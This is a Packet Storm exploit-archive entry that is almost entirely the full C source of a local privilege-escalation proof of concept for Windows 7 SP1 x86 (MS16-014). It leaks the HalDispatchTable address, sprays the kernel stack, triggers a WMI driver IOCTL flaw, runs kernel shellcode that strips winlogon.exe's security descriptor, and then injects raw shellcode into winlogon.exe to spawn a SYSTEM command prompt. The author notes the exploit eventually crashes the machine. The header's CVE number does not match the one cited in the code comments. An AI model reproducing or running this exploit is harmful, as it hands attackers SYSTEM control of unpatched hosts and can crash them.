Lucene search

K
packetstormBlomster81PACKETSTORM:137721
HistoryJun 30, 2016 - 12:00 a.m.

Windows 7 SP1 x86 Privilege Escalation

2016-06-3000:00:00
blomster81
packetstormsecurity.com
54

EPSS

0.02

Percentile

89.2%

`/*   
# Exploit Title: Elevation of privilege on Windows 7 SP1 x86  
# Date: 28/06-2016  
# Exploit Author: @blomster81  
# Vendor Homepage: www.microsoft.com  
# Version: Windows 7 SP1 x86  
# Tested on: Windows 7 SP1 x86  
# CVE : 2016-0400  
  
MS16-014 EoP PoC created from   
https://github.com/Rootkitsmm/cve-2016-0040/blob/master/poc.cc  
Spawns CMD.exe with SYSTEM rights.   
Overwrites HaliSystemQueryInformation, but does not replace it, so BSOD will occur at some point  
  
********* EDB Note *********  
  
ntos.h is available here: https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/40039.zip  
  
***************************  
  
*/  
  
#include "stdafx.h"  
#include <Windows.h>  
#include <winioctl.h>  
#include "ntos.h"  
#include <TlHelp32.h>  
  
  
typedef union {  
HANDLE Handle;  
ULONG64 Handle64;  
ULONG32 Handle32;  
}  
HANDLE3264, *PHANDLE3264;  
  
typedef struct {  
ULONG HandleCount;  
ULONG Action;  
HANDLE /* PUSER_THREAD_START_ROUTINE */ UserModeCallback;  
HANDLE3264 UserModeProcess;  
HANDLE3264 Handles[20];  
}  
WMIRECEIVENOTIFICATION, *PWMIRECEIVENOTIFICATION;  
  
#define RECEIVE_ACTION_CREATE_THREAD 2 // Mark guid objects as requiring  
  
typedef struct {  
IN VOID * ObjectAttributes;  
IN ACCESS_MASK DesiredAccess;  
  
OUT HANDLE3264 Handle;  
}  
WMIOPENGUIDBLOCK, *PWMIOPENGUIDBLOCK;  
  
typedef enum _KPROFILE_SOURCE {  
ProfileTime,  
ProfileAlignmentFixup,  
ProfileTotalIssues,  
ProfilePipelineDry,  
ProfileLoadInstructions,  
ProfilePipelineFrozen,  
ProfileBranchInstructions,  
ProfileTotalNonissues,  
ProfileDcacheMisses,  
ProfileIcacheMisses,  
ProfileCacheMisses,  
ProfileBranchMispredictions,  
ProfileStoreInstructions,  
ProfileFpInstructions,  
ProfileIntegerInstructions,  
Profile2Issue,  
Profile3Issue,  
Profile4Issue,  
ProfileSpecialInstructions,  
ProfileTotalCycles,  
ProfileIcacheIssues,  
ProfileDcacheAccesses,  
ProfileMemoryBarrierCycles,  
ProfileLoadLinkedIssues,  
ProfileMaximum  
  
} KPROFILE_SOURCE, *PKPROFILE_SOURCE;  
  
typedef struct _DESKTOPINFO  
{  
/* 000 */ PVOID pvDesktopBase;  
/* 008 */ PVOID pvDesktopLimit;  
  
} DESKTOPINFO, *PDESKTOPINFO;  
  
  
typedef struct _CLIENTINFO  
{  
/* 000 */ DWORD CI_flags;  
/* 004 */ DWORD cSpins;  
/* 008 */ DWORD dwExpWinVer;  
/* 00c */ DWORD dwCompatFlags;  
/* 010 */ DWORD dwCompatFlags2;  
/* 014 */ DWORD dwTIFlags;  
/* 018 */ DWORD filler1;  
/* 01c */ DWORD filler2;  
/* 020 */ PDESKTOPINFO pDeskInfo;  
/* 028 */ ULONG_PTR ulClientDelta;  
  
} CLIENTINFO, *PCLIENTINFO;  
  
typedef struct _HANDLEENTRY {  
PVOID phead;  
ULONG_PTR pOwner;  
BYTE bType;  
BYTE bFlags;  
WORD wUniq;  
}HANDLEENTRY, *PHANDLEENTRY;  
  
typedef struct _SERVERINFO {  
DWORD dwSRVIFlags;  
DWORD64 cHandleEntries;  
WORD wSRVIFlags;  
WORD wRIPPID;  
WORD wRIPError;  
}SERVERINFO, *PSERVERINFO;  
  
typedef struct _SHAREDINFO {  
PSERVERINFO psi;  
PHANDLEENTRY aheList;  
ULONG HeEntrySize;  
ULONG_PTR pDispInfo;  
ULONG_PTR ulSharedDelta;  
ULONG_PTR awmControl;  
ULONG_PTR DefWindowMsgs;  
ULONG_PTR DefWindowSpecMsgs;  
}SHAREDINFO, *PSHAREDINFO;  
  
#define IOCTL_WMI_RECEIVE_NOTIFICATIONS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x51, METHOD_BUFFERED, FILE_WRITE_ACCESS)  
  
typedef ULONG(__stdcall *g_ZwMapUserPhysicalPages)(PVOID, ULONG, PULONG);  
typedef NTSTATUS(_stdcall *_NtQuerySystemInformation)(SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength);  
typedef NTSTATUS(_stdcall *_NtQueryIntervalProfile)(KPROFILE_SOURCE ProfilSource, PULONG Interval);  
  
DWORD g_HalDispatchTable = 0;  
void* kHandle;  
HWND g_window = NULL;  
const WCHAR g_windowClassName[] = L"Victim_Window";  
WNDCLASSEX wc;  
PSHAREDINFO g_pSharedInfo;  
PSERVERINFO g_pServerInfo;  
HANDLEENTRY* g_UserHandleTable;  
  
LRESULT CALLBACK WProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam)  
{  
return DefWindowProc(hwnd, uMsg, wParam, lParam);  
}  
  
DWORD getProcessId(wchar_t* str)  
{  
HANDLE hProcessSnap;  
PROCESSENTRY32 pe32;  
DWORD PID;  
  
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);  
if (hProcessSnap == INVALID_HANDLE_VALUE)  
{  
return 0;  
}  
  
pe32.dwSize = sizeof(PROCESSENTRY32);  
if (!Process32First(hProcessSnap, &pe32))  
{  
CloseHandle(hProcessSnap);  
return 0;  
}  
  
do  
{  
if (!wcscmp(pe32.szExeFile, str))  
{  
wprintf(L"Process: %s found\n", pe32.szExeFile);  
PID = pe32.th32ProcessID;  
return PID;  
}  
} while (Process32Next(hProcessSnap, &pe32));  
return 0;  
}  
  
void Launch()  
{  
void* pMem;  
char shellcode[] =  
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"  
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"  
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"  
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"  
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"  
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"  
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"  
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"  
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"  
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00"  
"\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a"  
"\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75"  
"\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x6d\x64\x2e"  
"\x65\x78\x65\x00";  
  
wchar_t* str = L"winlogon.exe";  
DWORD PID = getProcessId(str);  
HANDLE hEx = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);  
pMem = VirtualAllocEx(hEx, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);  
DWORD res = WriteProcessMemory(hEx, pMem, shellcode, sizeof(shellcode), 0);  
HANDLE res2 = CreateRemoteThread(hEx, NULL, 0, (LPTHREAD_START_ROUTINE)pMem, NULL, 0, NULL);  
}  
  
BOOL leakHal()  
{  
_NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(GetModuleHandleA("NTDLL.DLL"), "NtQuerySystemInformation");  
PRTL_PROCESS_MODULES pModuleInfo;  
DWORD ntoskrnlBase;  
DWORD HalDTUser, HalDTOffset;  
HMODULE userKernel;  
  
pModuleInfo = (PRTL_PROCESS_MODULES)VirtualAlloc(NULL, 0x100000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);  
if (pModuleInfo == NULL)  
{  
printf("Could not allocate memory\n");  
return FALSE;  
}  
NtQuerySystemInformation(SystemModuleInformation, pModuleInfo, 0x100000, NULL);  
ntoskrnlBase = (DWORD)pModuleInfo->Modules[0].ImageBase;  
userKernel = LoadLibraryEx(L"ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);  
if (userKernel == NULL)  
{  
printf("Could not load ntoskrnl.exe\n");  
return FALSE;  
}  
  
HalDTUser = (DWORD)GetProcAddress(userKernel, "HalDispatchTable");  
HalDTOffset = HalDTUser - (DWORD)userKernel;  
g_HalDispatchTable = ntoskrnlBase + HalDTOffset + 0x9000;  
return TRUE;  
}  
  
BOOL setup()  
{  
LoadLibraryA("user32.dll");  
  
wc.cbSize = sizeof(WNDCLASSEX);  
wc.style = 0;  
wc.lpfnWndProc = WProc;  
wc.cbClsExtra = 0;  
wc.cbWndExtra = 0;  
wc.hInstance = NULL;  
wc.hCursor = NULL;  
wc.hIcon = NULL;  
wc.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);  
wc.lpszMenuName = NULL;  
wc.lpszClassName = g_windowClassName;  
wc.hIconSm = NULL;  
  
if (!RegisterClassEx(&wc))  
{  
printf("Failed to register window: %d\n", GetLastError());  
return FALSE;  
}  
g_window = CreateWindowEx(WS_EX_CLIENTEDGE, g_windowClassName, L"Victim_Window", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 240, 120, NULL, NULL, NULL, NULL);  
if (g_window == NULL)  
{  
printf("Failed to create window: %d\n", GetLastError());  
return FALSE;  
}  
  
g_pSharedInfo = (PSHAREDINFO)GetProcAddress(LoadLibraryA("user32.dll"), "gSharedInfo");  
g_UserHandleTable = g_pSharedInfo->aheList;  
g_pServerInfo = g_pSharedInfo->psi;  
  
return TRUE;  
}  
  
DWORD leakWndAddr(HWND hwnd)  
{  
DWORD addr = 0;  
HWND kernelHandle = NULL;  
  
for (int i = 0; i < g_pServerInfo->cHandleEntries; i++)  
{  
kernelHandle = (HWND)(i | (g_UserHandleTable[i].wUniq << 0x10));  
if (kernelHandle == hwnd)  
{  
addr = (DWORD)g_UserHandleTable[i].phead;  
break;  
}  
}  
return addr;  
}  
  
VOID SprayKernelStack() {  
g_ZwMapUserPhysicalPages ZwMapUserPhysicalPages = (g_ZwMapUserPhysicalPages)GetProcAddress(GetModuleHandleA("NTDLL.DLL"), "ZwMapUserPhysicalPages");  
if (ZwMapUserPhysicalPages == NULL)  
{  
printf("Could not get ZwMapUserPhysicalPages\n");  
return;  
}  
BYTE buffer[4096];  
DWORD value = g_HalDispatchTable - 0x3C + 0x4;  
for (int i = 0; i < sizeof(buffer) / 4; i++)  
{  
memcpy(buffer + i * 4, &value, sizeof(DWORD));  
}  
printf("Where is at: 0x%x\n", buffer);  
ZwMapUserPhysicalPages(buffer, sizeof(buffer) / sizeof(DWORD), (PULONG)buffer);  
}  
  
__declspec(noinline) int Shellcode()  
{  
__asm {  
mov eax, kHandle // WND - Which window? Check this  
mov eax, [eax + 8] // THREADINFO  
mov eax, [eax] // ETHREAD  
mov eax, [eax + 0x150] // KPROCESS  
mov eax, [eax + 0xb8] // flink  
procloop:  
lea edx, [eax - 0xb8] // KPROCESS  
mov eax, [eax]  
add edx, 0x16c // module name  
cmp dword ptr[edx], 0x6c6e6977 // οΏ½winlοΏ½ for winlogon.exe  
jne procloop  
sub edx, 0x170  
mov dword ptr[edx], 0x0 // NULL ACL  
ret  
}  
}  
  
int main() {  
DWORD dwBytesReturned;  
HANDLE threadhandle;  
WMIRECEIVENOTIFICATION buffer;  
CHAR OutPut[1000];  
  
if (!setup())  
{  
printf("Could not setup window\n");  
return 0;  
}  
  
  
PVOID userSC = VirtualAlloc((VOID*)0x2a000000, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);  
kHandle = (void*)leakWndAddr(g_window);  
memset(userSC, 0x41, 0x1000);  
memcpy(userSC, Shellcode, 0x40);  
  
  
if (!leakHal())  
{  
printf("Could not leak Hal\n");  
return 0;  
}  
printf("HalDispatchTable is at: 0x%x\n", g_HalDispatchTable);  
  
DWORD value = (DWORD)userSC;  
PBYTE buff = (PBYTE)&buffer;  
for (int i = 0; i < sizeof(buffer) / 4; i++)  
{  
memcpy(buff + i * 4, &value, sizeof(DWORD));  
}  
printf("What is at: 0x%x\n", buff);  
  
buffer.HandleCount = 0;  
buffer.Action = RECEIVE_ACTION_CREATE_THREAD;  
buffer.UserModeProcess.Handle = GetCurrentProcess();  
  
HANDLE hDriver = CreateFileA("\\\\.\\WMIDataDevice", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);  
if (hDriver != INVALID_HANDLE_VALUE) {  
SprayKernelStack();  
  
if (!DeviceIoControl(hDriver, IOCTL_WMI_RECEIVE_NOTIFICATIONS, &buffer, sizeof(buffer), &OutPut, sizeof(OutPut), &dwBytesReturned, NULL)) {  
return 1;  
}  
  
}  
_NtQueryIntervalProfile NtQueryIntervalProfile = (_NtQueryIntervalProfile)GetProcAddress(GetModuleHandleA("NTDLL.DLL"), "NtQueryIntervalProfile");  
ULONG result;  
KPROFILE_SOURCE stProfile = ProfileTotalIssues;  
NtQueryIntervalProfile(stProfile, &result);  
printf("SYSTEM shell comming\n");  
Launch();  
printf("All done, exiting\n");  
  
return 0;  
}  
  
`

EPSS

0.02

Percentile

89.2%

Related for PACKETSTORM:137721